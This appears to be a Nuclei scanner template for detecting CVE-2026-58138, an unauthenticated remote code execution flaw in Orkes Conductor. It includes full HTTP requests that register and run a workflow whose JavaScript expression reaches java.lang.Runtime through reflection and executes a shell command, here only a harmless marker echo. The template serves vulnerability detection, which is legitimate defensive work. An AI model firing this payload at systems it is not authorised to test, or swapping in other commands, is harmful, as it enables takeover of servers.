Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution

id: CVE-2026-58138

info:
  name: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.
  impact: |
    A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.
  remediation: |
    Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.
  reference:
    - https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators
    - https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1
    - https://github.com/conductor-oss/conductor/releases/tag/v3.30.2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58138
    - https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58138
    epss-score: 0.03101
    epss-percentile: 0.86571
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: conductor-oss
    product: conductor
    shodan-query: http.title:"Conductor UI"
  tags: cve,cve2026,conductor,graalvm,rce,intrusive,vkev

variables:
  wfname: "{{rand_text_alpha(12)}}"
  marker: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/metadata/workflow HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{wfname}}", "version": 1, "schemaVersion": 2, "ownerEmail": "[email protected]", "tasks": [{"name": "n", "taskReferenceName": "n", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": "var k=$.getClass().getClass();var S=k.getMethod('getName').getReturnType();var forName=k.getMethod('forName',S);var L=function(n){return forName.invoke(null,[n]);};var RT=L('java.lang.Runtime');var rt=RT.getMethod('getRuntime').invoke(null,[]);var I=L('java.lang.Integer').getField('TYPE').get(null);var A=L('java.lang.reflect.Array');var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'echo {{marker}}-$((6*7))']);var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"} }]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        POST /api/workflow/{{wfname}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

    extractors:
      - type: regex
        name: wfid
        internal: true
        group: 1
        regex:
          - "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"

  - raw:
      - |
        GET /api/workflow/{{wfid}}?includeTasks=true HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}-42"

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a547dac311c0f7db576c34566a81311bb011f07159fc0dafca8f465722d1fdb602201cad802757f55bf21dbce0b2af7ec49d132b9ccdefd6e297853fbfde0c9ea67c:922c64590222798bb761d5b6d8e72950